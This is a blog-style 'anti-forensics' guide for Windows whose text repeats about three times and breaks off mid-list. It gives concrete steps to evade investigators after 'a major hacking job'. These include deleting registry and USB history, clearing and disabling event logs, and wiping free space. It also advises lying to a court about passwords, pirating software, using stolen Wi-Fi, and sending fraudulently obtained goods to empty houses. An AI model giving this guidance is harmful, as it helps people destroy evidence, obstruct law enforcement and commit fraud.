Friday, 14 November 2014

Complete Anonymity Guide! [Windows] Be Invisible

Alpha's Anti-Forensics Guide
Anti-Forensics is the art of leaving no trace on your computer, it is combating
common forensic tools in preventing any penetration for forensic tests on your
computer. It can pretty much be summed up with one famous quote:
"Make it hard for them to find you, and impossible for them to prove they've found
you."
Because Linux installations are pretty much already secured, this guide will only
focus on Windows. Windows is a security nightmare, but what if I were to tell you
there was a way around this, a way to make Windows secure? VPNs, proxies, and
Tor only get you so far, but what do you do when they've traced it to your
computer? This guide is designed to help you prevent them from proving you've
done anything wrong even if they have your computer.
With that being said, let's get started.


=========================================================

Disabling Time Stamps
Using Time Stamps, forensic experts can build a 'digital time-line', this can be very
compelling evidence when cross-referenced with other known evidence. In order to
strengthen security, we must disable these logs.

Step 1.) User Assist File
--------------------------------------
There is a registry setting that keeps logs and dates of all launch programs, forensic
experts can use this to build a digital timeline, we must disable this for computer security.
Navigate to 'HKEY_Current_User\Software\Microsoft\Windows\Currentvers
ion\Explorer\Userassist' . You should see two subkeys called Count, delete both these
keys. Now right-click the UserAssist key and create a new key named 'Settings'. In this
key create DWORD value named NoLog, set the value to 1.
Windows will no longer store hidden logs of the exact times you have been accesing
files, therefore forensics experts can no longer use these hidden logs to create a digital
timeline.

Step 2.) Last Access Logs
------------------------------------------
Next we will disable the last access in Windows. What last access is is a setting on
Windows that allows you to see when you opened, modified, and/or created files on your
computer and is similar to the UserAssist registry key. By disabling this forensic experts
won't as easily be able to tell when you've been accessing programs or files on your
computer.
To disable last access open command prompt on your computer, if on Vista or Windows
7 make sure to run as administrator. In command prompt type the following:
fsutil behavior set disablelastaccess 1
Last access has now been disabled, in order for it to take effect you must restart your
computer.



=========================================================

Encrypting Your Computer
It is very important to make sure that your computer is encrypted, in the case an
unwanted visitor is trying to access your computer, they will not be able to access to
computer if it is encrypted.

Step 1.) TrueCrypt
--------------------------------
To encrypt your computer, you can use TrueCrypt, a free program that allow you to
encrypt your computer. When encrypting with TrueCrypt, you have two options; the first
one is to create a hidden container. A hidden container is an operating system that is
impossible prove exists.
When creating a hidden container you will have three different passwords:
1. The First would be for your decoy system, the operating system you would show
someone forcing you to login your computer.
2. The second password would be for your outer volume, the operating system you would
show someone forcing you to login to the second partition on your computer (a second
partition is require computer for your hidden container is.
3. Third password is for the hidden operating system on the second partition of your
computer, this operating system is placed in the inner volume, and is impossible to prove
exists (It appears to be RAW data).
The second option is to just encrypt your hard-drive. This is also very secure, but you
may be forced to give up your password due to court-order (In this situation, if you are a
VERY good lier, you could simply say 'I forgot', but you would have to make it
believable.) With normal drive encryption, your computer is just as secure encryption
wise, and you will have a single password.
Download here!

Step 2.) Encrypt Your Keystrokes
--------------------------------------------------------
You need to protect yourself from keyloggers. As strange as it may sound even the
government has keyloggers, a few years ago the law speculation about CIPAV, a
government spyware known to send the users IP address, Mac address, open ports,
operating system, installed applications, default web browser, visited URLs, logged in
user, etc...
In order to protect yourself from keyloggers, you should encrypt your keystrokes. You
can do this using a software called 'Keyscrambler'. Please note, you should NOT use the
free version of Keyscrambler, you should only use the Premium version, which costs a
decent some of money. (-Cough- ThePirateBay.se -Cough-).
Keyscrambler Premium supports 170 programs, including windows logon, most web
browsers, and popular IM programs (i.e. Skype).


=========================================================

Making Encryption Secure
Encryption is pointless if it can be easily bypassed or overcome. You need to make sure
that the encryption is secure too.

Step 1.) Make Sure Your Password Is Strong
Even with your computer encrypted, it is still vulnerable. Make sure your password is
good (for optimal security, your password should be twenty or more characters, with
symbols, numbers, and random capitals, and a special symbol (like ALT+1456) really
increase security).
If you password is not strong enough, you can change it by right clicking your encrypted
drive in TrueCrypt and selecting 'Change Password'.

Step 2.) Create A Locked Screen Saver
Encryption is pointless if the feds get to your computer while its running. They can use
live forensic tools that don't require the movement or shutdown of a computer. A very
simple technique to overcome this is to create a locked screen saver.
To create a locked screen saver in Windows Vista or Windows 7;
Right click your desktop and click on 'Personalize'. In the bottom left hand corner you
should see 'Screen Saver', click that. Now, check 'On Resume, Display Logon Screen',
and set 'Wait' to 5. Now, underneath that you may set what you want your screen saver to
be.
Now you must go to your Control Panel. Click on System and Securtiy, now click on
'Power Options' find your selected plan and click 'Change plan settings.' Now, set 'Turn
Of Display' to 5 minutes. Voila! You have now created a locked screen saver.

Step 3.) Get A Good Anti-Virus
This may seem obvious, but all this is pointless if you get infected with a keylogger that
takes screen shots. Having a good anti-virus is one of the most important things you can
do. Now, listen up. AVG, Avast, McCafe, Norton? They all SUCK. The only Anti-Virus
you should even consider are ESET Nod32 and Kaspersky, BitDefender is also pretty
good.
These anti-virus programs are expensive, but you can torrent them from ThePirateBay.se,
just make sure you find one with a lot of seeders.


=========================================================

Disabling Windows Hibernation
You may as well hand your computer over to the feds if they raid your house and your
computer is in hibernation. Also, putting your computer into hibernation is pretty much
just taking a screen shot of your RAM that gets saved to your hard drive.
To disable hibernation in Windows Vista/7:
Open your Control Panel. Click System and Security, then click 'Power Options'. Click
'Change plan settings' for you current power plan.
Now click 'Change advanced power settings'. Expand 'Sleep', then expand 'Hibernate
After'. Enter “0" for 'Setting:' to set hibernate to 'Never'.
Hibernation is now disabled.



=========================================================

Disable and Remove USB Logs
Next on the list of Anti-Forensics in to disable logs of USB activity, flash drives, etc...
This can be valuable if you have a flash drive with sensitive data and you don't want any
logs of it ever being plugged it to your computer.

Step 1.) Delete the USBSTOR Registry Setting
The USBSTOR setting contains history of plugged in USB devices.
To delete it, hit the WINDOWS Home Button + R at the same time. This will open up
'Run'; type: "Regedit" (without quotes). Browse to
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR
Now, right click 'USBSTOR' and hit 'Delete', then confirm that you want to delete the
key. Now, the key has been deleted.

Step 2.) Delete The Setupapi.log File
The Setuppapi.log is a plain-text file that stores the list of installed USB devices and their
drivers. We will delete it with a program called CCleaner.
CCleaner is actually one of the best anti-forensic tools out there, and its free. For
Instructions on using CCleaner, Please see the 'CCleaner' section of this guide.



=========================================================

Windows Security Misc.
This is for the shit that has to do with windows anti-forensic security, but wasn't big
enough to have its own section. That does NOT mean this section isn't important, the
stuff in here may actually be the most important in the whole guide.

Step 1) Disable System Restore Points
System Restore points can be used to bring your computer back to a date when it wasn't
secure and can also be used to restore overwritten files.
To disable System Restore points, right click 'Computer' and click 'Properties'. Now click
'Advanced System Settings'. Under 'System Protection' click 'Configure'.
Now, select 'Turn Of System Protection' and apply it.

Step 2) Disable 'Send Error Report to Microsoft
This is self-explanitory, we obviously don't want microsoft having logs of all our crashed
programs.
To do this, go to your start menu and search 'problem reporting settings' and then click on
'Choose How To Report Problems'. Click 'Change Report Settings For All Users' and
then set it to 'Never check for solutions'.

Step 3) Wipe With CCleaner
This is the heart of Anti-Forensics right here. CCleaner is actually one of the most
powerful Anti-Forensic tools, -IF- used correctly.
As it turns out, when deleting files, you DO NOT need to do multiple overwrites. With
modern hard-drives, one overwrite really is enough to delete a file beyond repair, even
though it is popular belief that you need several overwrites to be secure.
With CCleaner, I would recommend three overwrites, just in-case it misses something the
first time around (remember, it is a free software).
Once you have CCleaner installed, run it (AS ADMIN), go to 'Settings' and make sure
you have it set to overwrite deleted data with three passes.
Go back to 'Cleaner' and check EVERYTHING. I mean EVERYTHING, and hit 'Run
Cleaner'. You might want to leave this on overnight.
Do this everytime you are done with a major hacking job. When using normally (what
should be every time you are done with your computer), uncheck 'Wipe Free Space', this
will cut down the time from hours to a few minutes.

Step 4) Disable Debugging Upon Failure
This keeps logs of your computers failures and blue screen info.
To disable it, right click 'Computer' and go to 'Advanced System Settings', now go to
'Start Up and Recovery'. Now, set 'Debugging Information' to 'None'.

Step 5) Disable Windows Event Logging
Windows keeps logs of all events on the computer. First, before we disable, we must
clear all the logs.
To disable it, go to Control Panel then System and Security. Now, click Administrative
Tools, and then Event Viewer. In either pane of the Event Viewer window, right-click
System and then select Clear All Events, you will get a window that says: "Do you want
to save 'System' before clearing it?", click 'No'.
Now we must disable Windows Event Logging. Go to 'Run' and type in 'msconfig', then
go to 'Services' and make sure 'Hide all Microsoft Services' is UNCHECKED. Now scroll
down until you find 'Windows Event Logging', and UNCHECK it.
Now restart your computer right away.

Step 6) Disable Stand By In Registry
Disable 'Stand By'. Just create a new text document and add this:
Code:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\ACPI\Parameters]
"AMLIMaxCTObjs"=hex:04,00,00,00 "Attributes"=dword:0070
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic
es\ACPI\Parameters\WakeUp] "FixedEventMask"=hex:20,05
"FixedEventStatus"=hex:00,84 "GenericEventMask"=hex:18,50,00,10
"GenericEventStatus"=hex:10,00,ff,00
Then save as a .REG file, and run it. Click okay when prompted for confirmation.



=========================================================

Preventing being found in the first place:
You should never be tracked in the first place. Follow these guide lines to stay
anonymous:

1.) Use a no log VPN, such as nVPN, KryptoVPN, or BlackShades VPN. Offshore is
better than onshore.

2.) Use Tor for web browsing you wouldn't want the FBI, or your ISP looking at.

3.) Never release personal information online and use different aliases. Never connect
ANY real information to your hacking alias. Build fake information if you are paranoid.

4.) Assume the FBI has the I.P logs of every website in the world.

5.) Use SSH tunneling to an offshore shell on top of your VPN for extra security.

6.) Don't get lazy, and be patient.
Tips:
NEVER have personal information linking to your social media. (Facebook, Twitter etc)
------------------------------------------------------------------------------------------------------------
---------------------
Always use SSL browsing to view websites, there are addons for firefox and chrome that
you can use.
------------------------------------------------------------------------------------------------------------
---------------------
NEVER discuss what you have done or are planning over email, always use encrypted
chat services.
------------------------------------------------------------------------------------------------------------
---------------------
Ideally, there should be nothing incriminating in your home, or at least too incriminating.
------------------------------------------------------------------------------------------------------------
---------------------
Don't use credit cards in areas you have stolen Wi-Fi from, security cameras are a bitch.
------------------------------------------------------------------------------------------------------------
---------------------
When Socially engineering items, get them sent to a nearby empty house. No point
getting caught for that hello kitty teapot you've been dying for.
------------------------------------------------------------------------------------------------------------
---------------------
#1 TIP: If the cops show (with a warrant), You don't say a WORD. A NOT A SINGLE
SOUND SHOULD EXIT YOUR MOUTH. You don't say 'I want my lawer', you don't
say 'Don't touch that', you say NOTHING. If you even your mouth for a SECOND, and
say ANYTHING, even if its only 'Hi', consider yourself screwed. YOUR MOUTH
SHOULD NEVER OPEN.

Complete Anonymity Guide! [Windows] Be Invisible

Alpha's Anti-Forensics Guide
Anti-Forensics is the art of leaving no trace on your computer, it is combating
common forensic tools in preventing any penetration for forensic tests on your
computer. It can pretty much be summed up with one famous quote:
"Make it hard for them to find you, and impossible for them to prove they've found
you."
Because Linux installations are pretty much already secured, this guide will only
focus on Windows. Windows is a security nightmare, but what if I were to tell you
there was a way around this, a way to make Windows secure? VPNs, proxies, and
Tor only get you so far, but what do you do when they've traced it to your
computer? This guide is designed to help you prevent them from proving you've
done anything wrong even if they have your computer.
With that being said, let's get started.


=========================================================

Disabling Time Stamps
Using Time Stamps, forensic experts can build a 'digital time-line', this can be very
compelling evidence when cross-referenced with other known evidence. In order to
strengthen security, we must disable these logs.

Step 1.) User Assist File
--------------------------------------
There is a registry setting that keeps logs and dates of all launch programs, forensic
experts can use this to build a digital timeline, we must disable this for computer security.
Navigate to 'HKEY_Current_User\Software\Microsoft\Windows\Currentvers
ion\Explorer\Userassist' . You should see two subkeys called Count, delete both these
keys. Now right-click the UserAssist key and create a new key named 'Settings'. In this
key create DWORD value named NoLog, set the value to 1.
Windows will no longer store hidden logs of the exact times you have been accesing
files, therefore forensics experts can no longer use these hidden logs to create a digital
timeline.

Step 2.) Last Access Logs
------------------------------------------
Next we will disable the last access in Windows. What last access is is a setting on
Windows that allows you to see when you opened, modified, and/or created files on your
computer and is similar to the UserAssist registry key. By disabling this forensic experts
won't as easily be able to tell when you've been accessing programs or files on your
computer.
To disable last access open command prompt on your computer, if on Vista or Windows
7 make sure to run as administrator. In command prompt type the following:
fsutil behavior set disablelastaccess 1
Last access has now been disabled, in order for it to take effect you must restart your
computer.



=========================================================

Encrypting Your Computer
It is very important to make sure that your computer is encrypted, in the case an
unwanted visitor is trying to access your computer, they will not be able to access to
computer if it is encrypted.

Step 1.) TrueCrypt
--------------------------------
To encrypt your computer, you can use TrueCrypt, a free program that allow you to
encrypt your computer. When encrypting with TrueCrypt, you have two options; the first
one is to create a hidden container. A hidden container is an operating system that is
impossible prove exists.
When creating a hidden container you will have three different passwords:
1. The First would be for your decoy system, the operating system you would show
someone forcing you to login your computer.
2. The second password would be for your outer volume, the operating system you would
show someone forcing you to login to the second partition on your computer (a second
partition is require computer for your hidden container is.
3. Third password is for the hidden operating system on the second partition of your
computer, this operating system is placed in the inner volume, and is impossible to prove
exists (It appears to be RAW data).
The second option is to just encrypt your hard-drive. This is also very secure, but you
may be forced to give up your password due to court-order (In this situation, if you are a
VERY good lier, you could simply say 'I forgot', but you would have to make it
believable.) With normal drive encryption, your computer is just as secure encryption
wise, and you will have a single password.
Download here!

Step 2.) Encrypt Your Keystrokes
--------------------------------------------------------
You need to protect yourself from keyloggers. As strange as it may sound even the
government has keyloggers, a few years ago the law speculation about CIPAV, a
government spyware known to send the users IP address, Mac address, open ports,
operating system, installed applications, default web browser, visited URLs, logged in
user, etc...
In order to protect yourself from keyloggers, you should encrypt your keystrokes. You
can do this using a software called 'Keyscrambler'. Please note, you should NOT use the
free version of Keyscrambler, you should only use the Premium version, which costs a
decent some of money. (-Cough- ThePirateBay.se -Cough-).
Keyscrambler Premium supports 170 programs, including windows logon, most web
browsers, and popular IM programs (i.e. Skype).


=========================================================

Making Encryption Secure
Encryption is pointless if it can be easily bypassed or overcome. You need to make sure
that the encryption is secure too.

Step 1.) Make Sure Your Password Is Strong
Even with your computer encrypted, it is still vulnerable. Make sure your password is
good (for optimal security, your password should be twenty or more characters, with
symbols, numbers, and random capitals, and a special symbol (like ALT+1456) really
increase security).
If you password is not strong enough, you can change it by right clicking your encrypted
drive in TrueCrypt and selecting 'Change Password'.

Step 2.) Create A Locked Screen Saver
Encryption is pointless if the feds get to your computer while its running. They can use
live forensic tools that don't require the movement or shutdown of a computer. A very
simple technique to overcome this is to create a locked screen saver.
To create a locked screen saver in Windows Vista or Windows 7;
Right click your desktop and click on 'Personalize'. In the bottom left hand corner you
should see 'Screen Saver', click that. Now, check 'On Resume, Display Logon Screen',
and set 'Wait' to 5. Now, underneath that you may set what you want your screen saver to
be.
Now you must go to your Control Panel. Click on System and Securtiy, now click on
'Power Options' find your selected plan and click 'Change plan settings.' Now, set 'Turn
Of Display' to 5 minutes. Voila! You have now created a locked screen saver.

Step 3.) Get A Good Anti-Virus
This may seem obvious, but all this is pointless if you get infected with a keylogger that
takes screen shots. Having a good anti-virus is one of the most important things you can
do. Now, listen up. AVG, Avast, McCafe, Norton? They all SUCK. The only Anti-Virus
you should even consider are ESET Nod32 and Kaspersky, BitDefender is also pretty
good.
These anti-virus programs are expensive, but you can torrent them from ThePirateBay.se,
just make sure you find one with a lot of seeders.


=========================================================

Disabling Windows Hibernation
You may as well hand your computer over to the feds if they raid your house and your
computer is in hibernation. Also, putting your computer into hibernation is pretty much
just taking a screen shot of your RAM that gets saved to your hard drive.
To disable hibernation in Windows Vista/7:
Open your Control Panel. Click System and Security, then click 'Power Options'. Click
'Change plan settings' for you current power plan.
Now click 'Change advanced power settings'. Expand 'Sleep', then expand 'Hibernate
After'. Enter “0" for 'Setting:' to set hibernate to 'Never'.
Hibernation is now disabled.



=========================================================

Disable and Remove USB Logs
Next on the list of Anti-Forensics in to disable logs of USB activity, flash drives, etc...
This can be valuable if you have a flash drive with sensitive data and you don't want any
logs of it ever being plugged it to your computer.

Step 1.) Delete the USBSTOR Registry Setting
The USBSTOR setting contains history of plugged in USB devices.
To delete it, hit the WINDOWS Home Button + R at the same time. This will open up
'Run'; type: "Regedit" (without quotes). Browse to
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR
Now, right click 'USBSTOR' and hit 'Delete', then confirm that you want to delete the
key. Now, the key has been deleted.

Step 2.) Delete The Setupapi.log File
The Setuppapi.log is a plain-text file that stores the list of installed USB devices and their
drivers. We will delete it with a program called CCleaner.
CCleaner is actually one of the best anti-forensic tools out there, and its free. For
Instructions on using CCleaner, Please see the 'CCleaner' section of this guide.



=========================================================

Windows Security Misc.
This is for the shit that has to do with windows anti-forensic security, but wasn't big
enough to have its own section. That does NOT mean this section isn't important, the
stuff in here may actually be the most important in the whole guide.

Step 1) Disable System Restore Points
System Restore points can be used to bring your computer back to a date when it wasn't
secure and can also be used to restore overwritten files.
To disable System Restore points, right click 'Computer' and click 'Properties'. Now click
'Advanced System Settings'. Under 'System Protection' click 'Configure'.
Now, select 'Turn Of System Protection' and apply it.

Step 2) Disable 'Send Error Report to Microsoft
This is self-explanitory, we obviously don't want microsoft having logs of all our crashed
programs.
To do this, go to your start menu and search 'problem reporting settings' and then click on
'Choose How To Report Problems'. Click 'Change Report Settings For All Users' and
then set it to 'Never check for solutions'.

Step 3) Wipe With CCleaner
This is the heart of Anti-Forensics right here. CCleaner is actually one of the most
powerful Anti-Forensic tools, -IF- used correctly.
As it turns out, when deleting files, you DO NOT need to do multiple overwrites. With
modern hard-drives, one overwrite really is enough to delete a file beyond repair, even
though it is popular belief that you need several overwrites to be secure.
With CCleaner, I would recommend three overwrites, just in-case it misses something the
first time around (remember, it is a free software).
Once you have CCleaner installed, run it (AS ADMIN), go to 'Settings' and make sure
you have it set to overwrite deleted data with three passes.
Go back to 'Cleaner' and check EVERYTHING. I mean EVERYTHING, and hit 'Run
Cleaner'. You might want to leave this on overnight.
Do this everytime you are done with a major hacking job. When using normally (what
should be every time you are done with your computer), uncheck 'Wipe Free Space', this
will cut down the time from hours to a few minutes.

Step 4) Disable Debugging Upon Failure
This keeps logs of your computers failures and blue screen info.
To disable it, right click 'Computer' and go to 'Advanced System Settings', now go to
'Start Up and Recovery'. Now, set 'Debugging Information' to 'None'.

Step 5) Disable Windows Event Logging
Windows keeps logs of all events on the computer. First, before we disable, we must
clear all the logs.
To disable it, go to Control Panel then System and Security. Now, click Administrative
Tools, and then Event Viewer. In either pane of the Event Viewer window, right-click
System and then select Clear All Events, you will get a window that says: "Do you want
to save 'System' before clearing it?", click 'No'.
Now we must disable Windows Event Logging. Go to 'Run' and type in 'msconfig', then
go to 'Services' and make sure 'Hide all Microsoft Services' is UNCHECKED. Now scroll
down until you find 'Windows Event Logging', and UNCHECK it.
Now restart your computer right away.

Step 6) Disable Stand By In Registry
Disable 'Stand By'. Just create a new text document and add this:
Code:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\ACPI\Parameters]
"AMLIMaxCTObjs"=hex:04,00,00,00 "Attributes"=dword:0070
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic
es\ACPI\Parameters\WakeUp] "FixedEventMask"=hex:20,05
"FixedEventStatus"=hex:00,84 "GenericEventMask"=hex:18,50,00,10
"GenericEventStatus"=hex:10,00,ff,00
Then save as a .REG file, and run it. Click okay when prompted for confirmation.



=========================================================

Preventing being found in the first place:
You should never be tracked in the first place. Follow these guide lines to stay
anonymous:

1.) Use a no log VPN, such as nVPN, KryptoVPN, or BlackShades VPN. Offshore is
better than onshore.

2.) Use Tor for web browsing you wouldn't want the FBI, or your ISP looking at.

3.) Never release personal information online and use different aliases. Never connect
ANY real information to your hacking alias. Build fake information if you are paranoid.

4.) Assume the FBI has the I.P logs of every website in the world.

5.) Use SSH tunneling to an offshore shell on top of your VPN for extra security.

6.) Don't get lazy, and be patient.
Tips:
NEVER have personal information linking to your social media. (Facebook, Twitter etc)
------------------------------------------------------------------------------------------------------------
---------------------
Always use SSL browsing to view websites, there are addons for firefox and chrome that
you can use.
------------------------------------------------------------------------------------------------------------
---------------------
NEVER discuss what you have done or are planning over email, always use encrypted
chat services.
------------------------------------------------------------------------------------------------------------
---------------------
Ideally, there should be nothing incriminating in your home, or at least too incriminating.
------------------------------------------------------------------------------------------------------------
---------------------
Don't use credit cards in areas you have stolen Wi-Fi from, security cameras are a bitch.
------------------------------------------------------------------------------------------------------------
---------------------
When Socially engineering items, get them sent to a nearby empty house. No point
getting caught for that hello kitty teapot you've been dying for.
------------------------------------------------------------------------------------------------------------
---------------------
#1 TIP: If the cops show (with a warrant), You don't say a WORD. A NOT A SINGLE
SOUND SHOULD EXIT YOUR MOUTH. You don't say 'I want my lawer', you don't
say 'Don't touch that', you say NOTHING. If you even your mouth for a SECOND, and
say ANYTHING, even if its only 'Hi', consider yourself screwed. YOUR MOUTH
SHOULD NEVER OPEN.

Complete Anonymity Guide! [Windows] Be Invisible

Alpha's Anti-Forensics Guide
Anti-Forensics is the art of leaving no trace on your computer, it is combating
common forensic tools in preventing any penetration for forensic tests on your
computer. It can pretty much be summed up with one famous quote:
"Make it hard for them to find you, and impossible for them to prove they've found
you."
Because Linux installations are pretty much already secured, this guide will only
focus on Windows. Windows is a security nightmare, but what if I were to tell you
there was a way around this, a way to make Windows secure? VPNs, proxies, and
Tor only get you so far, but what do you do when they've traced it to your
computer? This guide is designed to help you prevent them from proving you've
done anything wrong even if they have your computer.
With that being said, let's get started.


=========================================================

Disabling Time Stamps
Using Time Stamps, forensic experts can build a 'digital time-line', this can be very
compelling evidence when cross-referenced with other known evidence. In order to
strengthen security, we must disable these logs.

Step 1.) User Assist File
--------------------------------------
There is a registry setting that keeps logs and dates of all launch programs, forensic
experts can use this to build a digital timeline, we must disable this for computer security.
Navigate to 'HKEY_Current_User\Software\Microsoft\Windows\Currentvers
ion\Explorer\Userassist' . You should see two subkeys called Count, delete both these
keys. Now right-click the UserAssist key and create a new key named 'Settings'. In this
key create DWORD value named NoLog, set the value to 1.
Windows will no longer store hidden logs of the exact times you have been accesing
files, therefore forensics experts can no longer use these hidden logs to create a digital
timeline.

Step 2.) Last Access Logs
------------------------------------------
Next we will disable the last access in Windows. What last access is is a setting on
Windows that allows you to see when you opened, modified, and/or created files on your
computer and is similar to the UserAssist registry key. By disabling this forensic experts
won't as easily be able to tell when you've been accessing programs or files on your
computer.
To disable last access open command prompt on your computer, if on Vista or Windows
7 make sure to run as administrator. In command prompt type the following:
fsutil behavior set disablelastaccess 1
Last access has now been disabled, in order for it to take effect you must restart your
computer.



=========================================================

Encrypting Your Computer
It is very important to make sure that your computer is encrypted, in the case an
unwanted visitor is trying to access your computer, they will not be able to access to
computer if it is encrypted.

Step 1.) TrueCrypt
--------------------------------
To encrypt your computer, you can use TrueCrypt, a free program that allow you to
encrypt your computer. When encrypting with TrueCrypt, you have two options; the first
one is to create a hidden container. A hidden container is an operating system that is
impossible prove exists.
When creating a hidden container you will have three different passwords:
1. The First would be for your decoy system, the operating system you would show
someone forcing you to login your computer.
2. The second password would be for your outer volume, the operating system you would
show someone forcing you to login to the second partition on your computer (a second
partition is require computer for your hidden container is.
3. Third password is for the hidden operating system on the second partition of your
computer, this operating system is placed in the inner volume, and is impossible to prove
exists (It appears to be RAW data).
The second option is to just encrypt your hard-drive. This is also very secure, but you
may be forced to give up your password due to court-order (In this situation, if you are a
VERY good lier, you could simply say 'I forgot', but you would have to make it
believable.) With normal drive encryption, your computer is just as secure encryption
wise, and you will have a single password.
Download here!

Step 2.) Encrypt Your Keystrokes
--------------------------------------------------------
You need to protect yourself from keyloggers. As strange as it may sound even the
government has keyloggers, a few years ago the law speculation about CIPAV, a
government spyware known to send the users IP address, Mac address, open ports,
operating system, installed applications, default web browser, visited URLs, logged in
user, etc...
In order to protect yourself from keyloggers, you should encrypt your keystrokes. You
can do this using a software called 'Keyscrambler'. Please note, you should NOT use the
free version of Keyscrambler, you should only use the Premium version, which costs a
decent some of money. (-Cough- ThePirateBay.se -Cough-).
Keyscrambler Premium supports 170 programs, including windows logon, most web
browsers, and popular IM programs (i.e. Skype).


=========================================================

Making Encryption Secure
Encryption is pointless if it can be easily bypassed or overcome. You need to make sure
that the encryption is secure too.

Step 1.) Make Sure Your Password Is Strong
Even with your computer encrypted, it is still vulnerable. Make sure your password is
good (for optimal security, your password should be twenty or more characters, with
symbols, numbers, and random capitals, and a special symbol (like ALT+1456) really
increase security).
If you password is not strong enough, you can change it by right clicking your encrypted
drive in TrueCrypt and selecting 'Change Password'.

Step 2.) Create A Locked Screen Saver
Encryption is pointless if the feds get to your computer while its running. They can use
live forensic tools that don't require the movement or shutdown of a computer. A very
simple technique to overcome this is to create a locked screen saver.
To create a locked screen saver in Windows Vista or Windows 7;
Right click your desktop and click on 'Personalize'. In the bottom left hand corner you
should see 'Screen Saver', click that. Now, check 'On Resume, Display Logon Screen',
and set 'Wait' to 5. Now, underneath that you may set what you want your screen saver to
be.
Now you must go to your Control Panel. Click on System and Securtiy, now click on
'Power Options' find your selected plan and click 'Change plan settings.' Now, set 'Turn
Of Display' to 5 minutes. Voila! You have now created a locked screen saver.

Step 3.) Get A Good Anti-Virus
This may seem obvious, but all this is pointless if you get infected with a keylogger that
takes screen shots. Having a good anti-virus is one of the most important things you can
do. Now, listen up. AVG, Avast, McCafe, Norton? They all SUCK. The only Anti-Virus
you should even consider are ESET Nod32 and Kaspersky, BitDefender is also pretty
good.
These anti-virus programs are expensive, but you can torrent them from ThePirateBay.se,
just make sure you find one with a lot of seeders.


=========================================================

Disabling Windows Hibernation
You may as well hand your computer over to the feds if they raid your house and your
computer is in hibernation. Also, putting your computer into hibernation is pretty much
just taking a screen shot of your RAM that gets saved to your hard drive.
To disable hibernation in Windows Vista/7:
Open your Control Panel. Click System and Security, then click 'Power Options'. Click
'Change plan settings' for you current power plan.
Now click 'Change advanced power settings'. Expand 'Sleep', then expand 'Hibernate
After'. Enter “0" for 'Setting:' to set hibernate to 'Never'.
Hibernation is now disabled.



=========================================================

Disable and Remove USB Logs
Next on the list of Anti-Forensics in to disable logs of USB activity, flash drives, etc...
This can be valuable if you have a flash drive with sensitive data and you don't want any
logs of it ever being plugged it to your computer.

Step 1.) Delete the USBSTOR Registry Setting
The USBSTOR setting contains history of plugged in USB devices.
To delete it, hit the WINDOWS Home Button + R at the same time. This will open up
'Run'; type: "Regedit" (without quotes). Browse to
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR
Now, right click 'USBSTOR' and hit 'Delete', then confirm that you want to delete the
key. Now, the key has been deleted.

Step 2.) Delete The Setupapi.log File
The Setuppapi.log is a plain-text file that stores the list of installed USB devices and their
drivers. We will delete it with a program called CCleaner.
CCleaner is actually one of the best anti-forensic tools out there, and its free. For
Instructions on using CCleaner, Please see the 'CCleaner' section of this guide.



=========================================================

Windows Security Misc.
This is for the shit that has to do with windows anti-forensic security, but wasn't big
enough to have its own section. That does NOT mean this section isn't important, the
stuff in here may actually be the most important in the whole guide.

Step 1) Disable System Restore Points
System Restore points can be used to bring your computer back to a date when it wasn't
secure and can also be used to restore overwritten files.
To disable System Restore points, right click 'Computer' and click 'Properties'. Now click
'Advanced System Settings'. Under 'System Protection' click 'Configure'.
Now, select 'Turn Of System Protection' and apply it.

Step 2) Disable 'Send Error Report to Microsoft
This is self-explanitory, we obviously don't want microsoft having logs of all our crashed
programs.
To do this, go to your start menu and search 'problem reporting settings' and then click on
'Choose How To Report Problems'. Click 'Change Report Settings For All Users' and
then set it to 'Never check for solutions'.

Step 3) Wipe With CCleaner
This is the heart of Anti-Forensics right here. CCleaner is actually one of the most
powerful Anti-Forensic tools, -IF- used correctly.
As it turns out, when deleting files, you DO NOT need to do multiple overwrites. With
modern hard-drives, one overwrite really is enough to delete a file beyond repair, even
though it is popular belief that you need several overwrites to be secure.
With CCleaner, I would recommend three overwrites, just in-case it misses something the
first time around (remember, it is a free software).
Once you have CCleaner installed, run it (AS ADMIN), go to 'Settings' and make sure
you have it set to overwrite deleted data with three passes.
Go back to 'Cleaner' and check EVERYTHING. I mean EVERYTHING, and hit 'Run
Cleaner'. You might want to leave this on overnight.
Do this everytime you are done with a major hacking job. When using normally (what
should be every time you are done with your computer), uncheck 'Wipe Free Space', this
will cut down the time from hours to a few minutes.

Step 4) Disable Debugging Upon Failure
This keeps logs of your computers failures and blue screen info.
To disable it, right click 'Computer' and go to 'Advanced System Settings', now go to
'Start Up and Recovery'. Now, set 'Debugging Information' to 'None'.

Step 5) Disable Windows Event Logging
Windows keeps logs of all events on the computer. First, before we disable, we must
clear all the logs.
To disable it, go to Control Panel then System and Security. Now, click Administrative
Tools, and then Event Viewer. In either pane of the Event Viewer window, right-click
System and then select Clear All Events, you will get a window that says: "Do you want
to save 'System' before clearing it?", click 'No'.
Now we must disable Windows Event Logging. Go to 'Run' and type in 'msconfig', then
go to 'Services' and make sure 'Hide all Microsoft Services' is UNCHECKED. Now scroll
down until you find 'Windows Event Logging', and UNCHECK it.
Now restart your computer right away.

Step 6) Disable Stand By In Registry
Disable 'Stand By'. Just create a new text document and add this:
Code:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\ACPI\Parameters]
"AMLIMaxCTObjs"=hex:04,00,00,00 "Attributes"=dword:0070
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic
es\ACPI\Parameters\WakeUp] "FixedEventMask"=hex:20,05
"FixedEventStatus"=hex:00,84 "GenericEventMask"=hex:18,50,00,10
"GenericEventStatus"=hex:10,00,ff,00
Then save as a .REG file, and run it. Click okay when prompted for confirmation.



=========================================================

Preventing being found in the first place:
You should never be tracked in the first place. Follow these guide lines to stay
anonymous:

1.) Use a no log VPN, such as nVPN, KryptoVPN, or BlackShades VPN. Offshore is
better than onshore.

2.) Use Tor for web browsing you wouldn't want the FBI, or your ISP looking at.

3.) Never release personal information online and use different aliases. Never connect
